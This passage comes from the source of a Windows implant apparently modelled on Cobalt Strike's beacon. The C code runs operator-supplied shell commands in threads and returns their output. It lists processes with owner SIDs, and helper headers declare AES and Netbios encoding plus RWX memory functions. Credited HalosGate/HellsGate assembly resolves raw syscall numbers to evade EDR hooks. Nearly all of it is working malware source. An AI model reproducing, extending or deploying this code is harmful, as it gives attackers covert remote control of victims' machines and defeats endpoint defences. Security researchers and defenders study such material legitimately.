"%", ""); unsigned char* app = getenv(envKey); ParseCommandShellparse ParseCommandShellparse; ParseCommandShellparse.shellPath = app; ParseCommandShellparse.shellBuf = cmd; return ParseCommandShellparse; } DWORD WINAPI myThreadCmdRun(LPVOID lpParam) { Sleep(2000); struct ThreadArgs* args = (struct ThreadArgs*)lpParam; unsigned char* buf = args->buf; size_t* commandBuflen = args->commandBuflen; size_t* Bufflen = args->Bufflen; BOOL bRet = FALSE; HANDLE hReadPipe = NULL; HANDLE hWritePipe = NULL; SECURITY_ATTRIBUTES securityAttributes = { 0 }; STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreatePipeJob Createpipe = createjob(); hReadPipe = Createpipe.hReadPipe; si = Createpipe.si; ParseCommandShellparse ParseCommand = ParseCommandShell(buf); TCHAR* shellBuf = ConvertTo_TCHAR(ParseCommand.shellBuf); // в _TCHAR commandLine[MAX_PATH]; _sntprintf(commandLine, MAX_PATH, _T("%s"), shellBuf);//C:\WINDOWS\system32\cmd.exe /C whoami bRet = CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); if (FALSE == bRet) { printf("CreateProcess"); return FALSE; } Add_Beacon_0Job(pi.hProcess, pi.hThread, pi.dwProcessId, pi.dwThreadId, hReadPipe, hWritePipe, "process")->JobType = 30; // Wait for the command execution to finish //WaitForSingleObject(pi.hThread, INFINITE); //WaitForSingleObject(pi.hProcess, INFINITE); WaitForSingleObject(pi.hProcess, 5000); // Read the result from the anonymous pipe into the output buffer bool lastTime = false; bool firstTime = true; OVERLAPPED overlap = { 0 }; DWORD readbytes = 0; DWORD availbytes = 0; unsigned char buffff[1024 * 50]; while (!lastTime) { DWORD event = WaitForSingleObject(pi.hProcess, 0); if (event == WAIT_OBJECT_0 || event == WAIT_FAILED) { lastTime = TRUE; } if (!PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL)) break; while (lastTime == false && availbytes == 0) { DWORD event = WaitForSingleObject(pi.hProcess, 5000); PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL); } //if (!availbytes) break; //if (!ReadFile(hReadPipe, buffff, min(sizeof(buffff) - 1, availbytes), &readbytes, NULL) || !readbytes) break; if (lastTime == false || availbytes != 0) { ReadFile(hReadPipe, buffff, sizeof(buffff), NULL, &overlap); } DWORD bytesTransferred; ULONG_PTR completionKey; LPOVERLAPPED pOverlapped; if (overlap.InternalHigh > 0) { if (firstTime) { DataProcess(buffff, overlap.InternalHigh, 0); firstTime = false; } else { if (lastTime == false) { /* uint8_t requestIDBytes[5] = "[+] "; uint8_t nnnn[4] = " :\n";*/ uint8_t* metaInfoBytes1[] = { buffff }; size_t metaInfosizes1[] = { overlap.InternalHigh }; size_t metaInfoBytesArrays1 = sizeof(metaInfoBytes1) / sizeof(metaInfoBytes1[0]); uint8_t* metaInfoconcatenated1 = ConByte(metaInfoBytes1, metaInfosizes1, metaInfoBytesArrays1); size_t metaInfoSize1 = 0; // sizeof ֵܺ for (size_t i = 0; i < sizeof(metaInfosizes1) / sizeof(metaInfosizes1[0]); ++i) { metaInfoSize1 += metaInfosizes1[i]; } DataProcess(metaInfoconcatenated1, metaInfoSize1, 0); } else { uint8_t jia[5] = "[+] "; uint8_t nnn[2] = "\n"; uint8_t end[75] = "-----------------------------------end-----------------------------------\n"; uint8_t* metaInfoBytes[] = { jia,end,ParseCommand.shellBuf + 4 }; size_t metaInfosizes[] = { 5,75,strlen(ParseCommand.shellBuf) - 4 }; size_t metaInfoBytesArrays = sizeof(metaInfoBytes) / sizeof(metaInfoBytes[0]); uint8_t* metaInfoconcatenated = ConByte(metaInfoBytes, metaInfosizes, metaInfoBytesArrays); size_t metaInfoSize = 0; // sizeof ֵܺ for (size_t i = 0; i < sizeof(metaInfosizes) / sizeof(metaInfosizes[0]); ++i) { metaInfoSize += metaInfosizes[i]; } DataProcess(metaInfoconcatenated, metaInfoSize, 0); } // buf[readbytes] = 0; //strncat(outbuf, buf, outbuf_size - strlen(outbuf) - 1); } } Sleep(2000); } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(hWritePipe); CloseHandle(hReadPipe); } DWORD WINAPI myThreadCmdshell(LPVOID lpParam) { Sleep(2000); struct ThreadArgs* args = (struct ThreadArgs*)lpParam; unsigned char* buf = args->buf; size_t* commandBuflen = args->commandBuflen; size_t* Bufflen = args->Bufflen; BOOL bRet = FALSE; HANDLE hReadPipe = NULL; HANDLE hWritePipe = NULL; SECURITY_ATTRIBUTES securityAttributes = { 0 }; STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreatePipeJob Createpipe = createjob(); hReadPipe = Createpipe.hReadPipe; si = Createpipe.si; ParseCommandShellparse ParseCommand = ParseCommandShell(buf); TCHAR* shellPath = ConvertTo_TCHAR(ParseCommand.shellPath); TCHAR* shellBuf = ConvertTo_TCHAR(ParseCommand.shellBuf); // в _TCHAR commandLine[MAX_PATH]; _sntprintf(commandLine, MAX_PATH, _T("%s %s"), shellPath, shellBuf);//C:\WINDOWS\system32\cmd.exe /C whoami bRet = CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); if (FALSE == bRet) { printf("CreateProcess"); return FALSE; } Add_Beacon_0Job(pi.hProcess, pi.hThread, pi.dwProcessId, pi.dwThreadId, hReadPipe, hWritePipe, "process")->JobType = 30; // Wait for the command execution to finish //WaitForSingleObject(pi.hThread, INFINITE); //WaitForSingleObject(pi.hProcess, INFINITE); WaitForSingleObject(pi.hProcess, 5000); // Read the result from the anonymous pipe into the output buffer bool lastTime = false; bool firstTime = true; OVERLAPPED overlap = { 0 }; DWORD readbytes = 0; DWORD availbytes = 0; unsigned char buffff[1024 * 50]; while (!lastTime) { DWORD event = WaitForSingleObject(pi.hProcess, 0); if (event == WAIT_OBJECT_0 || event == WAIT_FAILED) { lastTime = TRUE; } if (!PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL)) break; while (lastTime == false && availbytes == 0) { DWORD event = WaitForSingleObject(pi.hProcess, 5000); PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL); } //if (!availbytes) break; //if (!ReadFile(hReadPipe, buffff, min(sizeof(buffff) - 1, availbytes), &readbytes, NULL) || !readbytes) break; if (lastTime == false || availbytes != 0) { ReadFile(hReadPipe, buffff, sizeof(buffff), NULL, &overlap); } DWORD bytesTransferred; ULONG_PTR completionKey; LPOVERLAPPED pOverlapped; if (overlap.InternalHigh > 0) { if (firstTime) { DataProcess(buffff, overlap.InternalHigh, 0); firstTime = false; } else { if (lastTime == false) { /* uint8_t requestIDBytes[5] = "[+] "; uint8_t nnnn[4] = " :\n";*/ uint8_t* metaInfoBytes1[] = { buffff }; size_t metaInfosizes1[] = { overlap.InternalHigh }; size_t metaInfoBytesArrays1 = sizeof(metaInfoBytes1) / sizeof(metaInfoBytes1[0]); uint8_t* metaInfoconcatenated1 = ConByte(metaInfoBytes1, metaInfosizes1, metaInfoBytesArrays1); size_t metaInfoSize1 = 0; // sizeof ֵܺ for (size_t i = 0; i < sizeof(metaInfosizes1) / sizeof(metaInfosizes1[0]); ++i) { metaInfoSize1 += metaInfosizes1[i]; } DataProcess(metaInfoconcatenated1, metaInfoSize1, 0); }else { uint8_t jia[5] = "[+] "; uint8_t nnn[2] = "\n"; uint8_t end[75] = "-----------------------------------end-----------------------------------\n"; uint8_t* metaInfoBytes[] = { jia,end,ParseCommand.shellBuf+4 }; size_t metaInfosizes[] = { 5,75,strlen(ParseCommand.shellBuf)-4}; size_t metaInfoBytesArrays = sizeof(metaInfoBytes) / sizeof(metaInfoBytes[0]); uint8_t* metaInfoconcatenated = ConByte(metaInfoBytes, metaInfosizes, metaInfoBytesArrays); size_t metaInfoSize = 0; // sizeof ֵܺ for (size_t i = 0; i < sizeof(metaInfosizes) / sizeof(metaInfosizes[0]); ++i) { metaInfoSize += metaInfosizes[i]; } DataProcess(metaInfoconcatenated, metaInfoSize, 0); } // buf[readbytes] = 0; //strncat(outbuf, buf, outbuf_size - strlen(outbuf) - 1); } } Sleep(2000); } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(hWritePipe); CloseHandle(hReadPipe); } unsigned char* Cmdshell(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen) { struct ThreadArgs* args = (struct ThreadArgs*)malloc(sizeof(struct ThreadArgs)); if (args == NULL) { // ڴʧܵ return NULL; } args->buf = buf; args->commandBuflen = commandBuflen; ParseCommandShellparse ParseCommand = ParseCommandShell(buf); HANDLE myThread; if (ParseCommand.shellPath == NULL) { myThread = CreateThread( NULL, // Ḭ̆߳ȫ 0, // Ĭ϶ջС myThreadCmdRun, // ̺߳ args, // ݸ̺߳IJ 0, // Ĭϴ־ NULL); // 洢߳ID if (myThread == NULL) { fprintf(stderr, "Failed to create thread. Error code: %lu\n", GetLastError()); return 1; } } else { myThread = CreateThread( NULL, // Ḭ̆߳ȫ 0, // Ĭ϶ջС myThreadCmdshell, // ̺߳ args, // ݸ̺߳IJ 0, // Ĭϴ־ NULL); // 洢߳ID if (myThread == NULL) { fprintf(stderr, "Failed to create thread. Error code: %lu\n", GetLastError()); return 1; } } //WaitForSingleObject(myThread, INFINITE); // ر̺߳¼ CloseHandle(myThread); unsigned char* result = "[+] command is executing"; unsigned char* Success = (unsigned char*)malloc(25); memcpy(Success, result, 25); *Bufflen = strlen(Success); return Success; } int get_user_sid(size_t BufferSize, HANDLE TokenHandle, char* Buffer) { char Name[512]; char ReferencedDomainName[512]; DWORD cchReferencedDomainName = 512; SID_NAME_USE peUse; memset(Buffer, 0, BufferSize); memset(Name, 0, sizeof(Name)); memset(ReferencedDomainName, 0, sizeof(ReferencedDomainName)); DWORD ReturnLength; TOKEN_USER* TokenInformation; DWORD cchName = 512; // ȡ TokenInformation С if (!GetTokenInformation(TokenHandle, TokenUser, NULL, 0, &ReturnLength) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) return 0; // ڴ TokenInformation TokenInformation = (TOKEN_USER*)malloc(ReturnLength); if (TokenInformation == NULL) return 0; // ȡ TokenInformation if (!GetTokenInformation(TokenHandle, TokenUser, TokenInformation, ReturnLength, &ReturnLength)) { free(TokenInformation); return 0; } if (!LookupAccountSidA( NULL, TokenInformation->User.Sid, Name, &cchName, ReferencedDomainName, &cchReferencedDomainName, &peUse)) { free(TokenInformation); return 0; } snprintf(Buffer, BufferSize, "%s\\%s", ReferencedDomainName, Name); Buffer[BufferSize - 1] = 0; free(TokenInformation); return 1; } BOOL GetProcessUserInfo(HANDLE ProcessHandle, char* usersid) { HANDLE TokenHandle; BOOL status = OpenProcessToken(ProcessHandle, 8u, &TokenHandle); if (status) { status = get_user_sid(0x800, TokenHandle, usersid); CloseHandle(TokenHandle); return status; } return status; } BOOL IsProcessX64s(DWORD pid) { BOOL isX64 = FALSE; HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); if (hProcess != NULL) { BOOL result = IsWow64Process(hProcess, &isX64); CloseHandle(hProcess); return result && isX64; } return FALSE; } void beacon_ps(char* Taskdata, int Task_size) { char usersid[2048]; memset(usersid, 0, sizeof(usersid)); datap datap; BeaconDataParse(&datap, Taskdata, Task_size); int unknown = BeaconDataInt(&datap); BeaconFormatAlloc((formatp*)&datap, 0x8000); if (unknown > 0) { BeaconFormatInt((formatp*)&datap, unknown); } DWORD pSessionId; DWORD th32ProcessID; PROCESSENTRY32 pe; HANDLE hprocess; HANDLE Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0); if (Toolhelp32Snapshot != (HANDLE)-1) { pe.dwSize = sizeof(PROCESSENTRY32); if (Process32First(Toolhelp32Snapshot, &pe)) { do { th32ProcessID = pe.th32ProcessID; const char* arch2 = "x64"; BOOL isX64 = IsProcessX64s(pe.th32ProcessID); arch2 = !isX64 ? "x64" : "x86"; hprocess = OpenProcess( PROCESS_ALL_ACCESS, 0, th32ProcessID); wchar_t* szExeFile = pe.szExeFile; int bufferSize = WideCharToMultiByte(CP_UTF8, 0, szExeFile, -1, NULL, 0, NULL, NULL); // 㹻ڴ洢תַ char* szExeFileConverted = (char*)malloc(bufferSize); // wchar_t* ַת char* ַ WideCharToMultiByte(CP_UTF8, 0, szExeFile, -1, szExeFileConverted, bufferSize, NULL, NULL); if (hprocess) { if (!GetProcessUserInfo(hprocess, usersid)) { usersid[0] = 0; } if (!ProcessIdToSessionId(pe.th32ProcessID, &pSessionId)) { pSessionId = -1; } BeaconFormatPrintf( (formatp*)&datap, (char*)"%s\t%d\t%d\t%s\t%s\t%d\n", szExeFileConverted, pe.th32ParentProcessID, pe.th32ProcessID, arch2, usersid, pSessionId); } else { if (!ProcessIdToSessionId(pe.th32ProcessID, &pSessionId)) { pSessionId = 0; } BeaconFormatPrintf((formatp*)&datap, (char*)"%s\t%d\t%d\t%s\t%s\t%d\n", szExeFileConverted, pe.th32ParentProcessID, pe.th32ProcessID, arch2, "", pSessionId); } CloseHandle(hprocess); } while (Process32Next(Toolhelp32Snapshot, &pe)); CloseHandle(Toolhelp32Snapshot); int msg_type; if (unknown) { msg_type = 22; } else { msg_type = 17; } int datalength = BeaconFormatlength((formatp*)&datap); char* databuffer = BeaconFormatOriginalPtr((formatp*)&datap); DataProcess(databuffer, datalength, msg_type); BeaconFormatFree((formatp*)&datap); } else { CloseHandle(Toolhelp32Snapshot); } } } ================================================ FILE: Beacon/Util.h ================================================ #pragma once #include "MetaData.h" #include #include #pragma warning(disable:4996) typedef struct { char* original; /* ԭʼ [ǿͷ] */ char* buffer; /* ָǰλ */ int length; /* ʣݳ */ int size; /* ˻ܴС */ } formatp; typedef struct { char* original; /* ԭʼ [ǿͷ] */ char* buffer; /* ָǰλ */ int length; /* ʣݳ */ int size; /* ˻ܴС */ } datap; char getRandomLetter(); LPVOID RWXaddress(); void DataProcess(unsigned char* buf, size_t lenn, int callback); int Duan(DWORD currentProcessId); bool IsHighPriv(); void PutUint32BigEndian(uint8_t* bytes, uint32_t value); void PutUint16BigEndian(uint8_t* bytes, uint16_t value); unsigned char* RandomAESKey(unsigned char* aesKey, size_t keyLength); int GenerateEvenRandomInt(int min, int max); uint8_t* ConByte(uint8_t** arrays, size_t* sizes, size_t numArrays); uint8_t* WriteInt(size_t nInt, uint8_t* bBytes); char* base64Encode(unsigned char* data, size_t inputLength); unsigned char* NetbiosDecode(unsigned char* data, int data_length, unsigned char key, size_t* NetbiosDecodelen); unsigned char* NetbiosEncode(unsigned char* data, size_t data_length, unsigned char key, size_t* encoded_length); unsigned char* MaskDecode(unsigned char* data, size_t data_length, unsigned char* key, int key_length); unsigned char* MaskEncode(unsigned char* data, size_t data_length, size_t* codelen); unsigned char* AesCBCDecrypt(unsigned char* encryptData, unsigned char* key, size_t dataLen, size_t* decryptAES_CBCdatalen); unsigned char* AesCBCEncrypt(unsigned char* data, unsigned char* key, size_t dataLen, size_t* encryptedDataLen); uint32_t bigEndianUint32(uint8_t b[4]); unsigned char* CodepageToUTF8(unsigned char* input, size_t inputLen, size_t* outputLen); unsigned char* HMkey( unsigned char* encryptedBytes, size_t encryptedBytesLen); unsigned char* intToUnsignedChar(int value); unsigned char* str_replace_all(unsigned char* str, unsigned char* find, unsigned char* replace); uint16_t Readshort(uint8_t* b); ================================================ FILE: Beacon/bcookesHalosGate.asm ================================================ ; Author: Bobby Cooke @0xBoku | https://github.com/boku7 | https://0xBoku.com | https://www.linkedin.com/in/bobby-cooke/ ; Credits / References: Pavel Yosifovich (@zodiacon),Reenz0h from @SEKTOR7net, @smelly__vx & @am0nsec ( Creators/Publishers of the Hells Gate technique) .code getntdll PROC xor rdi, rdi ; RDI = 0x0 mul rdi ; RAX&RDX =0x0 mov rbx, gs:[rax+60h] ; RBX = Address_of_PEB mov rbx, [rbx+18h] ; RBX = Address_of_LDR mov rbx, [rbx+20h] ; mov rbx, [rbx] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll mov rbx, [rbx+20h] ; RBX = &ntdll.dll ( Base Address of ntdll.dll) mov rax, rbx ; RBX & RAX = &ntdll.dll ret ; return to caller getntdll ENDP ; Get ExportTable Address of supplied module DLL getExportTable PROC mov rbx, rcx ; RBX = Supplied Module Address mov r8, rcx ; R8 = Supplied Module Address mov ebx, [rbx+3Ch] ; RBX = Offset NewEXEHeader add rbx, r8 ; RBX = &ntdll.dll + Offset NewEXEHeader = &NewEXEHeader xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add add cx, 88ffh shr rcx, 8h ; RCX = 0x88ff --> 0x88 mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable add rdx, r8 ; RDX = &ntdll.dll + RVA ExportTable = &ExportTable mov rax, rdx ; RAX = &module.ExportTable ret ; return to caller getExportTable ENDP ; Get &module.ExportTable.AddressTable from &module.ExportTable getExAddressTable PROC mov r8, rdx ; R8 = &module.dll mov rdx, rcx ; RDX = &module.ExportTable xor r10, r10 mov r10d, [rdx+1Ch] ; RDI = RVA AddressTable add r10, r8 ; R10 = &AddressTable mov rax, r10 ; RAX = &module.ExportTable.AddressTable ret ; return to caller getExAddressTable ENDP ; Get &module.NamePointerTable from &module.ExportTable getExNamePointerTable PROC mov r8, rdx ; R8 = &module.dll mov rdx, rcx ; RDX = &module.ExportTable xor r11, r11 mov r11d, [rdx+20h] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable add r11, r8 ; R11 = &NamePointerTable (Memory Address of module Export NamePointerTable) mov rax, r11 ; RAX = &module.ExportTable.NamePointerTable ret ; return to caller getExNamePointerTable ENDP ; Get &OrdinalTable from ntdll.dll ExportTable getExOrdinalTable PROC mov r8, rdx ; R8 = &module.dll mov rdx, rcx ; RDX = &module.ExportTable xor r12, r12 mov r12d, [rdx+24h] ; R12 = RVA OrdinalTable add r12, r8 ; R12 = &OrdinalTable mov rax, r12 ; RAX = &module.ExportTable.OrdinalTable ret ; return to caller getExOrdinalTable ENDP ; Get the address of the API from the module ExportTable ; IN: &Module.ExportTable.NamePointerTable + &Module getApiAddr PROC mov r10, r9 ; R10 = &module.ExportTable.AddressTable mov r11, [rsp+28h] ; R11 = &module.ExportTable.NamePointerTable mov r12, [rsp+30h] ; R12 = &module.ExportTable.OrdinalTable xor rax, rax ; Setup Counter for resolving the API Address after finding the name string push rcx ; push the string length counter to stack jmp short getApiAddrLoop getApiAddr ENDP getApiAddrLoop PROC mov rcx, [rsp] ; reset the string length counter from the stack xor rdi, rdi ; Clear RDI for setting up string name retrieval mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] add rdi, r8 ; RDI = &NameString = RVA NameString + &module.dll mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) repe cmpsb ; Compare strings at RDI & RSI je getApiAddrFin ; If match then we found the API string. Now we need to find the Address of the API inc rax jmp short getApiAddrLoop getApiAddrLoop ENDP ; Find the address of GetProcAddress by using the last value of the Counter getApiAddrFin PROC pop rcx ; remove string length counter from top of stack mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of module. mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] add rax, r8 ; RAX = module. = RVA module. + module.dll BaseAddress ret ; return to API caller getApiAddrFin ENDP ; Find the syscall number for the NTDLL API with provided API address ; RCX = NTDLL. Address findSyscallNumber PROC xor rsi, rsi xor rdi, rdi mov rsi, 00B8D18B4Ch ; bytes at start of NTDLL stub to setup syscall in RAX mov edi, [rcx] ; RDI = first 4 bytes of NTDLL API syscall stub (mov r10,rcx;mov eax,) cmp rsi, rdi jne error ; if the bytes dont match then its prob hooked. Exit gracefully xor rax,rax ; clear RAX as it will hold the syscall mov ax, [rcx+4] ; The systemcall number ret ; return to caller findSyscallNumber ENDP ; RCX = &NTDLL. | RDX = 32bytes * Up Increment halosGateUp PROC xor rsi, rsi xor rdi, rdi mov rsi, 00B8D18B4Ch ; bytes at start of NTDLL stub to setup syscall in RAX xor rax, rax mov al, 20h ; 32 * Increment = Syscall Up mul dx ; RAX = RAX * RDX = 32 * Syscall Up add rcx, rax ; RCX = NTDLL.API +- Syscall Stub mov edi, [rcx] ; RDI = first 4 bytes of NTDLL API syscall stub, incremented Up by HalosGate (mov r10, rcx; mov eax, ) cmp rsi, rdi jne error ; if the bytes dont match then its prob hooked. Exit gracefully xor rax,rax ; clear RAX as it will hold the syscall mov ax, [rcx+4] ; The systemcall number for the API close to the target ret ; return to caller halosGateUp ENDP ; RCX = &NTDLL. | RDX = 32bytes * Down Increment halosGateDown PROC xor rsi, rsi xor rdi, rdi mov rsi, 00B8D18B4Ch ; bytes at start of NTDLL stub to setup syscall in RAX xor rax, rax mov al, 20h ; 32 * Increment = Syscall Down mul dx ; RAX = RAX * RDX = 32 * Syscall Down sub rcx, rax ; RCX = NTDLL.API - Syscall Stub mov edi, [rcx] ; RDI = first 4 bytes of NTDLL API syscall stub, incremented Down by HalosGate (mov r10, rcx; mov eax, ) cmp rsi, rdi jne error ; if the bytes dont match then its prob hooked. Exit gracefully xor rax,rax ; clear RAX as it will hold the syscall mov ax, [rcx+4] ; The systemcall number for the API close to the target ret ; return to caller halosGateDown ENDP error PROC xor rax, rax ; return 0 for error ret ; return to caller error ENDP HellsGate PROC xor r11, r11 mov r11d, ecx ret HellsGate ENDP HellDescent PROC xor rax, rax mov r10, rcx mov eax, r11d syscall ret HellDescent ENDP compExplorer PROC xor rsi, rsi cmp rsi, rcx je error ; This is a null entry, skip this one mov rsi, 6c007000780065h ; unicode "expl" mov rdx, [rcx] ; move the first 4 characters of the string into RCX register cmp rsi, rdx jne error ; if the bytes dont its match not "expl", try the next one mov rsi, 7200650072006fh ; 6f 00 72 00 65 00 72 00 o.r.e.r. mov rdx, [rcx+8h] ; move the next 4 characters of the string into RCX register "orer" cmp rsi, rdx jne error ; if the bytes dont match its not "explorer", try the next one mov rsi, 6500780065002eh ; 2e 00 65 00 78 00 65 00 ..e.x.e. mov rdx, [rcx+10h] ; move the next 4 characters of the string into RCX register ".exe" cmp rsi, rdx jne error ; if the bytes dont match its not "explorer.exe", try the next one mov rax, 1h ; found "explorer.exe" return true ret compExplorer ENDP end ================================================ FILE: Beacon/ntdef.h ================================================ #pragma once #include #include "GuangMing.h" // most of this header code took from --> https://github.com/hfiref0x/NtCall64/blob/master/Source/NtCall64/ntos.h // credits to @hfiref0x #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 #define STATUS_INSUFFICIENT_RESOURCES 0xC0000009A #define STATUS_NOT_FOUND 0xC0000225 #define SystemHandleInformation 16 #ifndef RtlOffsetToPointer #define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) )) #endif #ifndef ALIGN_UP_TYPE #define ALIGN_UP_TYPE(Address, Align) (((ULONG_PTR)(Address) + (Align) - 1) & ~((Align) - 1)) #endif #ifndef ALIGN_UP #define ALIGN_UP(Address, Type) ALIGN_UP_TYPE(Address, sizeof(Type)) #endif #ifndef RTL_CONSTANT_STRING char _RTL_CONSTANT_STRING_type_check(const void* s); #define _RTL_CONSTANT_STRING_remove_const_macro(s) (s) #define RTL_CONSTANT_STRING(s) \ { \ sizeof( s ) - sizeof( (s)[0] ), \ sizeof( s ) / sizeof(_RTL_CONSTANT_STRING_type_check(s)), \ _RTL_CONSTANT_STRING_remove_const_macro(s) \ } #endif #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define OBJECT_TYPES_FIRST_ENTRY(ObjectTypes) (POBJECT_TYPE_INFORMATION)\ RtlOffsetToPointer(ObjectTypes, ALIGN_UP(sizeof(OBJECT_TYPES_INFORMATION), ULONG_PTR)) #define OBJECT_TYPES_NEXT_ENTRY(ObjectType) (POBJECT_TYPE_INFORMATION)\ RtlOffsetToPointer(ObjectType, sizeof(OBJECT_TYPE_INFORMATION) + \ ALIGN_UP(ObjectType->TypeName.MaximumLength, ULONG_PTR)) //typedef struct _CLIENT_ID { // HANDLE UniqueProcess; // HANDLE UniqueThread; //} CLIENT_ID; typedef struct _GDI_TEB_BATCH { ULONG Offset; HANDLE HDC; ULONG Buffer[310]; } GDI_TEB_BATCH; //typedef struct _UNICODE_STRING { // USHORT Length; // USHORT MaximumLength; // PWSTR Buffer; //} UNICODE_STRING, * PUNICODE_STRING; typedef struct _TEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PVOID ActiveRpcHandle; PVOID ThreadLocalStoragePointer; PVOID ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; PVOID CsrClientThread; PVOID Win32ThreadInfo; ULONG User32Reserved[26]; ULONG UserReserved[5]; PVOID WOW32Reserved; LCID CurrentLocale; ULONG FpSoftwareStatusRegister; PVOID SystemReserved1[54]; LONG ExceptionCode; UCHAR Padding0[4]; PVOID ActivationContextStackPointer; UCHAR SpareBytes[24]; ULONG TxFsContext; GDI_TEB_BATCH GdiTebBatch; CLIENT_ID RealClientId; PVOID GdiCachedProcessHandle; ULONG GdiClientPID; ULONG GdiClientTID; PVOID GdiThreadLocalInfo; SIZE_T Win32ClientInfo[62]; PVOID glDispatchTable[233]; SIZE_T glReserved1[29]; PVOID glReserved2; PVOID glSectionInfo; PVOID glSection; PVOID glTable; PVOID glCurrentRC; PVOID glContext; ULONG LastStatusValue; UCHAR Padding2[4]; UNICODE_STRING StaticUnicodeString; WCHAR StaticUnicodeBuffer[261]; UCHAR Padding3[6]; PVOID DeallocationStack; PVOID TlsSlots[64]; LIST_ENTRY TlsLinks; PVOID Vdm; PVOID ReservedForNtRpc; PVOID DbgSsReserved[2]; ULONG HardErrorMode; UCHAR Padding4[4]; PVOID Instrumentation[11]; GUID ActivityId; PVOID SubProcessTag; PVOID EtwLocalData; PVOID EtwTraceData; PVOID WinSockData; ULONG GdiBatchCount; union { PROCESSOR_NUMBER CurrentIdealProcessor; ULONG32 IdealProcessorValue; struct { UCHAR ReservedPad0; UCHAR ReservedPad1; UCHAR ReservedPad2; UCHAR IdealProcessor; }; }; ULONG GuaranteedStackBytes; UCHAR Padding5[4]; PVOID ReservedForPerf; PVOID ReservedForOle; ULONG WaitingOnLoaderLock; UCHAR Padding6[4]; PVOID SavedPriorityState; ULONG_PTR SoftPatchPtr1; ULONG_PTR ThreadPoolData; PVOID* TlsExpansionSlots; PVOID DeallocationBStore; PVOID BStoreLimit; ULONG ImpersonationLocale; ULONG IsImpersonating; PVOID NlsCache; PVOID pShimData; ULONG HeapVirtualAffinity; UCHAR Padding7[4]; HANDLE CurrentTransactionHandle; PVOID ActiveFrame; PVOID FlsData; PVOID PreferredLanguages; PVOID UserPrefLanguages; PVOID MergedPrefLanguages; ULONG MuiImpersonation; union { USHORT CrossTebFlags; struct { unsigned __int16 SpareCrossTebBits : 16; }; }; union { USHORT SameTebFlags; struct { unsigned __int16 DbgSafeThunkCall : 1; unsigned __int16 DbgInDebugPrint : 1; unsigned __int16 DbgHasFiberData : 1; unsigned __int16 DbgSkipThreadAttach : 1; unsigned __int16 DbgWerInShipAssertCode : 1; unsigned __int16 DbgIssuedInitialBp : 1; unsigned __int16 DbgClonedThread : 1; unsigned __int16 SpareSameTebBits : 9; }; }; PVOID TxnScopeEnterCallback; PVOID TxnScopeExitCallback; PVOID TxnScopeContext; ULONG LockCount; ULONG SpareUlong0; PVOID ResourceRetValue; } TEB, * PTEB; typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG HandleCount; SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; typedef struct _OBJECT_TYPES_INFORMATION { ULONG NumberOfTypes; } OBJECT_TYPES_INFORMATION, * POBJECT_TYPES_INFORMATION; typedef enum _OBJECT_INFORMATION_CLASS { ObjectBasicInformation, ObjectNameInformation, ObjectTypeInformation, ObjectTypesInformation, ObjectHandleFlagInformation, ObjectSessionInformation, ObjectSessionObjectInformation, MaxObjectInfoClass } OBJECT_INFORMATION_CLASS; typedef struct _OBJECT_TYPE_INFORMATION { UNICODE_STRING TypeName; ULONG TotalNumberOfObjects; ULONG TotalNumberOfHandles; ULONG TotalPagedPoolUsage; ULONG TotalNonPagedPoolUsage; ULONG TotalNamePoolUsage; ULONG TotalHandleTableUsage; ULONG HighWaterNumberOfObjects; ULONG HighWaterNumberOfHandles; ULONG HighWaterPagedPoolUsage; ULONG HighWaterNonPagedPoolUsage; ULONG HighWaterNamePoolUsage; ULONG HighWaterHandleTableUsage; ULONG InvalidAttributes; GENERIC_MAPPING GenericMapping; ULONG ValidAccessMask; BOOLEAN SecurityRequired; BOOLEAN MaintainHandleCount; ULONG PoolType; ULONG DefaultPagedPoolCharge; ULONG DefaultNonPagedPoolCharge; } OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION; typedef struct _OBJECT_TYPE_INFORMATION_V2 { UNICODE_STRING TypeName; ULONG TotalNumberOfObjects; ULONG TotalNumberOfHandles; ULONG TotalPagedPoolUsage; ULONG TotalNonPagedPoolUsage; ULONG TotalNamePoolUsage; ULONG TotalHandleTableUsage; ULONG HighWaterNumberOfObjects; ULONG HighWaterNumberOfHandles; ULONG 